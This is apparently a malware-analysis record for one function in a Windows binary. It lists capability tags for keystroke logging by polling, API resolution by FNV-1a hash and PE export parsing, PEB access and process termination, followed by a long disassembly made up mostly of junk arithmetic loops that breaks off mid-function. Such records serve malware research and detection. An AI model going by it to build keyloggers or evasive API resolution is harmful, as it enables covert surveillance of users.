Function at 0x1400edd20
Capabilities:
Access peb ldr_data
Check os version
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x778
mov rax, qword [0x140668b00]
xor rax, rsp
mov qword [rsp + 0x768], rax
mov dword [rsp + 0x360], 0
mov dword [rsp + 0x9c], 5
mov eax, dword [rsp + 0x9c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400eefd2
mov dword [rsp + 0x1a4], 0
jmp 0x1400edd86
mov eax, dword [rsp + 0x1a4]
inc eax
mov dword [rsp + 0x1a4], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1a4], eax
jge 0x1400eefcd
mov dword [rsp + 0x1c0], Ordinal_60
mov dword [rsp + 0x178], 0
jmp 0x1400eddc2
mov eax, dword [rsp + 0x178]
inc eax
mov dword [rsp + 0x178], eax
cmp dword [rsp + 0x178], 6
jge 0x1400ee6da
mov eax, dword [rsp + 0x178]
add eax, 2
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x148]
add eax, 3
mov dword [rsp + 0x148], eax
cmp dword [rsp + 0x148], 0xb
jne 0x1400ee6c7
mov dword [rsp + 0x1a8], 0
jmp 0x1400ede1d
mov eax, dword [rsp + 0x1a8]
inc eax
mov dword [rsp + 0x1a8], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1a8], eax
jge 0x1400ee2b7
mov dword [rsp + 0x1ac], 7
mov dword [rsp + 0x17c], 0
jmp 0x1400ede59
mov eax, dword [rsp + 0x17c]
inc eax
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 2
jge 0x1400ee03a
mov eax, dword [rsp + 0x17c]
inc eax
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x140]
inc eax
mov dword [rsp + 0x140], eax
cmp dword [rsp + 0x140], 2
jne 0x1400ee027
mov dword [rsp + 0x44], 5
cmp dword [rsp + 0x44], 0x1e
jge 0x1400ededa
mov eax, dword [rsp + 0x44]
add eax, 5
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400edecd
mov eax, dword [rsp + 0x44]
shl eax, 1
mov dword [rsp + 0x44], eax
jmp 0x1400eded8
mov eax, dword [rsp + 0x44]
sub eax, 3
mov dword [rsp + 0x44], eax
jmp 0x1400ede9d
cmp dword [rsp + 0x44], 0xf
jle 0x1400edf5c
mov dword [rsp + 0xc0], 0
jmp 0x1400edefe
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 6
jge 0x1400edf5a
imul eax, dword [rsp + 0xc0], 7
mov ecx, dword [rsp + 0x44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400edf44
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
jmp 0x1400edf58
imul eax, dword [rsp + 0xc0], 3
mov ecx, dword [rsp + 0x44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
jmp 0x1400edeee
jmp 0x1400edf86
mov eax, dword [rsp + 0x44]
sub eax, 8
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xa
jge 0x1400edf7b
mov eax, dword [rsp + 0x44]
add eax, 5
mov dword [rsp + 0x44], eax
jmp 0x1400edf86
mov eax, dword [rsp + 0x44]
sub eax, 2
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add eax, 4
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400edfb0
mov eax, dword [rsp + 0x44]
sub eax, 5
mov dword [rsp + 0x44], eax
jmp 0x1400edfbb
mov eax, dword [rsp + 0x44]
add eax, 6
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400edf86
cmp dword [rsp + 0x44], 0
jle 0x1400ee00c
mov eax, dword [rsp + 0x44]
sub eax, 4
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400edfff
mov eax, dword [rsp + 0x44]
add eax, 7
mov dword [rsp + 0x44], eax
jmp 0x1400ee00a
mov eax, dword [rsp + 0x44]
sub eax, 3
mov dword [rsp + 0x44], eax
jmp 0x1400edfcd
mov eax, dword [rsp + 0x140]
imul eax, dword [rsp + 0x1ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x364], eax
cmp dword [rsp + 0x140], 3
jl 0x1400ede77
jmp 0x1400ede49
cmp dword [rsp + 0x1ac], 5
jle 0x1400ee2b2
mov eax, dword [rsp + 0x1ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b0], eax
mov dword [rsp + 0x8c], 0xa
mov dword [rsp + 0xc4], 0
jmp 0x1400ee083
mov eax, dword [rsp + 0xc4]
inc eax
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 5
jge 0x1400ee0ef
imul eax, dword [rsp + 0xc4], 3
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400ee0d5
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0x8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x1400ee0ed
mov eax, dword [rsp + 0x8c]
mov ecx, dword [rsp + 0xc4]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x8c], eax
jmp 0x1400ee073
cmp dword [rsp + 0x8c], 0x14
jle 0x1400ee191
mov dword [rsp + 0xc8], 0
jmp 0x1400ee11a
mov eax, dword [rsp + 0xc8]
inc eax
mov dword [rsp + 0xc8], eax
cmp dword [rsp + 0xc8], 3
jge 0x1400ee18f
mov eax, dword [rsp + 0xc8]
add eax, 2
mov ecx, dword [rsp + 0x8c]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee171
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x1400ee18a
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0x8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x1400ee10a
jmp 0x1400ee1d0
mov eax, dword [rsp + 0x8c]
sub eax, 5
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0xa
jge 0x1400ee1bf
mov eax, dword [rsp + 0x8c]
add eax, 3
mov dword [rsp + 0x8c], eax
jmp 0x1400ee1d0
mov eax, dword [rsp + 0x8c]
sub eax, 2
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400ee232
mov eax, dword [rsp + 0x8c]
add eax, 2
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee21f
mov eax, dword [rsp + 0x8c]
sub eax, 3
mov dword [rsp + 0x8c], eax
jmp 0x1400ee230
mov eax, dword [rsp + 0x8c]
add eax, 4
mov dword [rsp + 0x8c], eax
jmp 0x1400ee1d0
mov eax, dword [rsp + 0x8c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400ee294
mov eax, dword [rsp + 0x8c]
add eax, 2
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee281
mov eax, dword [rsp + 0x8c]
sub eax, 2
mov dword [rsp + 0x8c], eax
jmp 0x1400ee292
mov eax, dword [rsp + 0x8c]
add eax, 3
mov dword [rsp + 0x8c], eax
jmp 0x1400ee232
mov eax, dword [rsp + 0x1b0]
dec eax
mov dword [rsp + 0x1b0], eax
cmp dword [rsp + 0x1b0], 0
jg 0x1400ee05b
jmp 0x1400ede0d
mov eax, dword [rsp + 0x148]
imul eax, dword [rsp + 0x1c0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x390], eax
mov dword [rsp + 0x1b4], 0
jmp 0x1400ee2ef
mov eax, dword [rsp + 0x1b4]
inc eax
mov dword [rsp + 0x1b4], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1b4], eax
jge 0x1400ee6c7
mov dword [rsp + 0x1b8], 7
mov dword [rsp + 0x180], 0
jmp 0x1400ee32b
mov eax, dword [rsp + 0x180]
inc eax
mov dword [rsp + 0x180], eax
cmp dword [rsp + 0x180], 2
jge 0x1400ee50c
mov eax, dword [rsp + 0x180]
inc eax
mov dword [rsp + 0x144], eax
mov eax, dword [rsp + 0x144]
inc eax
mov dword [rsp + 0x144], eax
cmp dword [rsp + 0x144], 2
jne 0x1400ee4f9
mov dword [rsp + 0x48], 5
cmp dword [rsp + 0x48], 0x19
jge 0x1400ee3ac
mov eax, dword [rsp + 0x48]
add eax, 4
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee39f
mov eax, dword [rsp + 0x48]
shl eax, 1
mov dword [rsp + 0x48], eax
jmp 0x1400ee3aa
mov eax, dword [rsp + 0x48]
sub eax, 3
mov dword [rsp + 0x48], eax
jmp 0x1400ee36f
cmp dword [rsp + 0x48], 0xf
jle 0x1400ee42e
mov dword [rsp + 0xcc], 0
jmp 0x1400ee3d0
mov eax, dword [rsp + 0xcc]
inc eax
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0xcc], 5
jge 0x1400ee42c
imul eax, dword [rsp + 0xcc], 6
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ee416
mov eax, dword [rsp + 0xcc]
mov ecx, dword [rsp + 0x48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
jmp 0x1400ee42a
imul eax, dword [rsp + 0xcc], 3
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
jmp 0x1400ee3c0
jmp 0x1400ee458
mov eax, dword [rsp + 0x48]
sub eax, 7
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xa
jge 0x1400ee44d
mov eax, dword [rsp + 0x48]
add eax, 4
mov dword [rsp + 0x48], eax
jmp 0x1400ee458
mov eax, dword [rsp + 0x48]
sub eax, 2
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
add eax, 3
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee482
mov eax, dword [rsp + 0x48]
sub eax, 4
mov dword [rsp + 0x48], eax
jmp 0x1400ee48d
mov eax, dword [rsp + 0x48]
add eax, 5
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee458
cmp dword [rsp + 0x48], 0
jle 0x1400ee4de
mov eax, dword [rsp + 0x48]
sub eax, 3
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ee4d1
mov eax, dword [rsp + 0x48]
add eax, 6
mov dword [rsp + 0x48], eax
jmp 0x1400ee4dc
mov eax, dword [rsp + 0x48]
sub eax, 2
mov dword [rsp + 0x48], eax
jmp 0x1400ee49f
mov eax, dword [rsp + 0x144]
imul eax, dword [rsp + 0x1b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x368], eax
cmp dword [rsp + 0x144], 3
jl 0x1400ee349
jmp 0x1400ee31b
cmp dword [rsp + 0x1b8], 5
jle 0x1400ee6c2
mov eax, dword [rsp + 0x1b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bc], eax
mov dword [rsp + 0x50], 5
cmp dword [rsp + 0x50], 0x19
jge 0x1400ee572
mov eax, dword [rsp + 0x50]
add eax, 0xa
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee565
mov eax, dword [rsp + 0x50]
shl eax, 1
mov dword [rsp + 0x50], eax
jmp 0x1400ee570
mov eax, dword [rsp + 0x50]
sub eax, 3
mov dword [rsp + 0x50], eax
jmp 0x1400ee535
cmp dword [rsp + 0x50], 0xf
jle 0x1400ee5f4
mov dword [rsp + 0xd0], 0
jmp 0x1400ee596
mov eax, dword [rsp + 0xd0]
inc eax
mov dword [rsp + 0xd0], eax
cmp dword [rsp + 0xd0], 5
jge 0x1400ee5f2
imul eax, dword [rsp + 0xd0], 6
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ee5dc
mov eax, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x1400ee5f0
imul eax, dword [rsp + 0xd0], 3
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x1400ee586
jmp 0x1400ee61e
mov eax, dword [rsp + 0x50]
sub eax, 7
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xa
jge 0x1400ee613
mov eax, dword [rsp + 0x50]
add eax, 4
mov dword [rsp + 0x50], eax
jmp 0x1400ee61e
mov eax, dword [rsp + 0x50]
sub eax, 2
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
add eax, 3
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee648
mov eax, dword [rsp + 0x50]
sub eax, 4
mov dword [rsp + 0x50], eax
jmp 0x1400ee653
mov eax, dword [rsp + 0x50]
add eax, 5
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee61e
cmp dword [rsp + 0x50], 0
jle 0x1400ee6a4
mov eax, dword [rsp + 0x50]
sub eax, 0x32
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ee697
mov eax, dword [rsp + 0x50]
add eax, 6
mov dword [rsp + 0x50], eax
jmp 0x1400ee6a2
mov eax, dword [rsp + 0x50]
sub eax, 2
mov dword [rsp + 0x50], eax
jmp 0x1400ee665
mov eax, dword [rsp + 0x1bc]
dec eax
mov dword [rsp + 0x1bc], eax
cmp dword [rsp + 0x1bc], 0
jg 0x1400ee52d
jmp 0x1400ee2df
cmp dword [rsp + 0x148], 0xf
jl 0x1400edde1
jmp 0x1400eddb2
cmp dword [rsp + 0x1c0], 0x19
jle 0x1400eeb11
mov eax, dword [rsp + 0x1c0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1d0], eax
mov dword [rsp + 0x1c4], 0
jmp 0x1400ee71c
mov eax, dword [rsp + 0x1c4]
inc eax
mov dword [rsp + 0x1c4], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1c4], eax
jge 0x1400eeaf2
mov dword [rsp + 0x1c8], 7
mov dword [rsp + 0x184], 0
jmp 0x1400ee758
mov eax, dword [rsp + 0x184]
inc eax
mov dword [rsp + 0x184], eax
cmp dword [rsp + 0x184], 2
jge 0x1400ee937
mov eax, dword [rsp + 0x184]
inc eax
mov dword [rsp + 0x14c], eax
mov eax, dword [rsp + 0x14c]
inc eax
mov dword [rsp + 0x14c], eax
cmp dword [rsp + 0x14c], 2
jne 0x1400ee924
mov dword [rsp + 0x78], 5
cmp dword [rsp + 0x78], 0x23
jge 0x1400ee7d9
mov eax, dword [rsp + 0x78]
add eax, 6
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee7cc
mov eax, dword [rsp + 0x78]
add eax, eax
mov dword [rsp + 0x78], eax
jmp 0x1400ee7d7
mov eax, dword [rsp + 0x78]
sub eax, 3
mov dword [rsp + 0x78], eax
jmp 0x1400ee79c
cmp dword [rsp + 0x78], 0xf
jle 0x1400ee859
mov dword [rsp + 0xd4], 0
jmp 0x1400ee7fd
mov eax, dword [rsp + 0xd4]
inc eax
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0xd4], 7
jge 0x1400ee857
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0xd4]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ee841
mov eax, dword [rsp + 0xd4]
mov ecx, dword [rsp + 0x78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
jmp 0x1400ee855
imul eax, dword [rsp + 0xd4], 3
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
jmp 0x1400ee7ed
jmp 0x1400ee883
mov eax, dword [rsp + 0x78]
sub eax, 9
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0xa
jge 0x1400ee878
mov eax, dword [rsp + 0x78]
add eax, 6
mov dword [rsp + 0x78], eax
jmp 0x1400ee883
mov eax, dword [rsp + 0x78]
sub eax, 2
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
add eax, 5
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee8ad
mov eax, dword [rsp + 0x78]
sub eax, 6
mov dword [rsp + 0x78], eax
jmp 0x1400ee8b8
mov eax, dword [rsp + 0x78]
add eax, 7
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee883
cmp dword [rsp + 0x78], 0
jle 0x1400ee909
mov eax, dword [rsp + 0x78]
sub eax, 5
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ee8fc
mov eax, dword [rsp + 0x78]
add eax, 8
mov dword [rsp + 0x78], eax
jmp 0x1400ee907
mov eax, dword [rsp + 0x78]
sub eax, 3
mov dword [rsp + 0x78], eax
jmp 0x1400ee8ca
mov eax, dword [rsp + 0x14c]
imul eax, dword [rsp + 0x1c8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x36c], eax
cmp dword [rsp + 0x14c], 3
jl 0x1400ee776
jmp 0x1400ee748
cmp dword [rsp + 0x1c8], 5
jle 0x1400eeaed
mov eax, dword [rsp + 0x1c8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cc], eax
mov dword [rsp + 0x74], 5
cmp dword [rsp + 0x74], 0x19
jge 0x1400ee99d
mov eax, dword [rsp + 0x74]
add eax, 0xa
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ee990
mov eax, dword [rsp + 0x74]
shl eax, 1
mov dword [rsp + 0x74], eax
jmp 0x1400ee99b
mov eax, dword [rsp + 0x74]
sub eax, 3
mov dword [rsp + 0x74], eax
jmp 0x1400ee960
cmp dword [rsp + 0x74], 0xf
jle 0x1400eea1f
mov dword [rsp + 0xd8], 0
jmp 0x1400ee9c1
mov eax, dword [rsp + 0xd8]
inc eax
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 5
jge 0x1400eea1d
imul eax, dword [rsp + 0xd8], 6
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400eea07
mov eax, dword [rsp + 0xd8]
mov ecx, dword [rsp + 0x74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
jmp 0x1400eea1b
imul eax, dword [rsp + 0xd8], 3
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
jmp 0x1400ee9b1
jmp 0x1400eea49
mov eax, dword [rsp + 0x74]
sub eax, 7
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0xa
jge 0x1400eea3e
mov eax, dword [rsp + 0x74]
add eax, 4
mov dword [rsp + 0x74], eax
jmp 0x1400eea49
mov eax, dword [rsp + 0x74]
sub eax, 2
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
add eax, 3
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eea73
mov eax, dword [rsp + 0x74]
sub eax, 4
mov dword [rsp + 0x74], eax
jmp 0x1400eea7e
mov eax, dword [rsp + 0x74]
add eax, 5
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eea49
cmp dword [rsp + 0x74], 0
jle 0x1400eeacf
mov eax, dword [rsp + 0x74]
sub eax, 0x32
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400eeac2
mov eax, dword [rsp + 0x74]
add eax, 6
mov dword [rsp + 0x74], eax
jmp 0x1400eeacd
mov eax, dword [rsp + 0x74]
sub eax, 2
mov dword [rsp + 0x74], eax
jmp 0x1400eea90
mov eax, dword [rsp + 0x1cc]
dec eax
mov dword [rsp + 0x1cc], eax
cmp dword [rsp + 0x1cc], 0
jg 0x1400ee958
jmp 0x1400ee70c
mov eax, dword [rsp + 0x1d0]
sub eax, 2
mov dword [rsp + 0x1d0], eax
cmp dword [rsp + 0x1d0], 0
jg 0x1400ee6ff
mov dword [rsp + 0x1d4], 0
jmp 0x1400eeb2e
mov eax, dword [rsp + 0x1d4]
inc eax
mov dword [rsp + 0x1d4], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1d4], eax
jge 0x1400eefc8
mov dword [rsp + 0x1d8], 7
mov dword [rsp + 0x188], 0
jmp 0x1400eeb6a
mov eax, dword [rsp + 0x188]
inc eax
mov dword [rsp + 0x188], eax
cmp dword [rsp + 0x188], 2
jge 0x1400eee0d
mov eax, dword [rsp + 0x188]
inc eax
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x150]
inc eax
mov dword [rsp + 0x150], eax
cmp dword [rsp + 0x150], 2
jne 0x1400eedfa
mov dword [rsp + 0x90], 0xa
mov dword [rsp + 0xdc], 0
jmp 0x1400eebce
mov eax, dword [rsp + 0xdc]
inc eax
mov dword [rsp + 0xdc], eax
cmp dword [rsp + 0xdc], 5
jge 0x1400eec3a
imul eax, dword [rsp + 0xdc], 3
mov ecx, dword [rsp + 0x90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400eec20
mov eax, dword [rsp + 0xdc]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
jmp 0x1400eec38
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0xdc]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x90], eax
jmp 0x1400eebbe
cmp dword [rsp + 0x90], 0x14
jle 0x1400eecdc
mov dword [rsp + 0xe0], 0
jmp 0x1400eec65
mov eax, dword [rsp + 0xe0]
inc eax
mov dword [rsp + 0xe0], eax
cmp dword [rsp + 0xe0], 3
jge 0x1400eecda
mov eax, dword [rsp + 0xe0]
add eax, 2
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eecbc
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0x90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
jmp 0x1400eecd5
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
jmp 0x1400eec55
jmp 0x1400eed1b
mov eax, dword [rsp + 0x90]
sub eax, 5
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0xa
jge 0x1400eed0a
mov eax, dword [rsp + 0x90]
add eax, 3
mov dword [rsp + 0x90], eax
jmp 0x1400eed1b
mov eax, dword [rsp + 0x90]
sub eax, 2
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400eed7d
mov eax, dword [rsp + 0x90]
add eax, 2
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eed6a
mov eax, dword [rsp + 0x90]
sub eax, 3
mov dword [rsp + 0x90], eax
jmp 0x1400eed7b
mov eax, dword [rsp + 0x90]
add eax, 4
mov dword [rsp + 0x90], eax
jmp 0x1400eed1b
mov eax, dword [rsp + 0x90]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400eeddf
mov eax, dword [rsp + 0x90]
add eax, 2
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eedcc
mov eax, dword [rsp + 0x90]
sub eax, 2
mov dword [rsp + 0x90], eax
jmp 0x1400eeddd
mov eax, dword [rsp + 0x90]
add eax, 3
mov dword [rsp + 0x90], eax
jmp 0x1400eed7d
mov eax, dword [rsp + 0x150]
imul eax, dword [rsp + 0x1d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x370], eax
cmp dword [rsp + 0x150], 3
jl 0x1400eeb88
jmp 0x1400eeb5a
cmp dword [rsp + 0x1d8], 5
jle 0x1400eefc3
mov eax, dword [rsp + 0x1d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1dc], eax
mov dword [rsp + 0x70], 5
cmp dword [rsp + 0x70], 0x19
jge 0x1400eee73
mov eax, dword [rsp + 0x70]
add eax, 4
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eee66
mov eax, dword [rsp + 0x70]
shl eax, 1
mov dword [rsp + 0x70], eax
jmp 0x1400eee71
mov eax, dword [rsp + 0x70]
sub eax, 3
mov dword [rsp + 0x70], eax
jmp 0x1400eee36
cmp dword [rsp + 0x70], 0xf
jle 0x1400eeef5
mov dword [rsp + 0xe4], 0
jmp 0x1400eee97
mov eax, dword [rsp + 0xe4]
inc eax
mov dword [rsp + 0xe4], eax
cmp dword [rsp + 0xe4], 5
jge 0x1400eeef3
imul eax, dword [rsp + 0xe4], 6
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400eeedd
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0x70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
jmp 0x1400eeef1
imul eax, dword [rsp + 0xe4], 3
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
jmp 0x1400eee87
jmp 0x1400eef1f
mov eax, dword [rsp + 0x70]
sub eax, 7
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0xa
jge 0x1400eef14
mov eax, dword [rsp + 0x70]
add eax, 4
mov dword [rsp + 0x70], eax
jmp 0x1400eef1f
mov eax, dword [rsp + 0x70]
sub eax, 2
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
add eax, 3
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eef49
mov eax, dword [rsp + 0x70]
sub eax, 4
mov dword [rsp + 0x70], eax
jmp 0x1400eef54
mov eax, dword [rsp + 0x70]
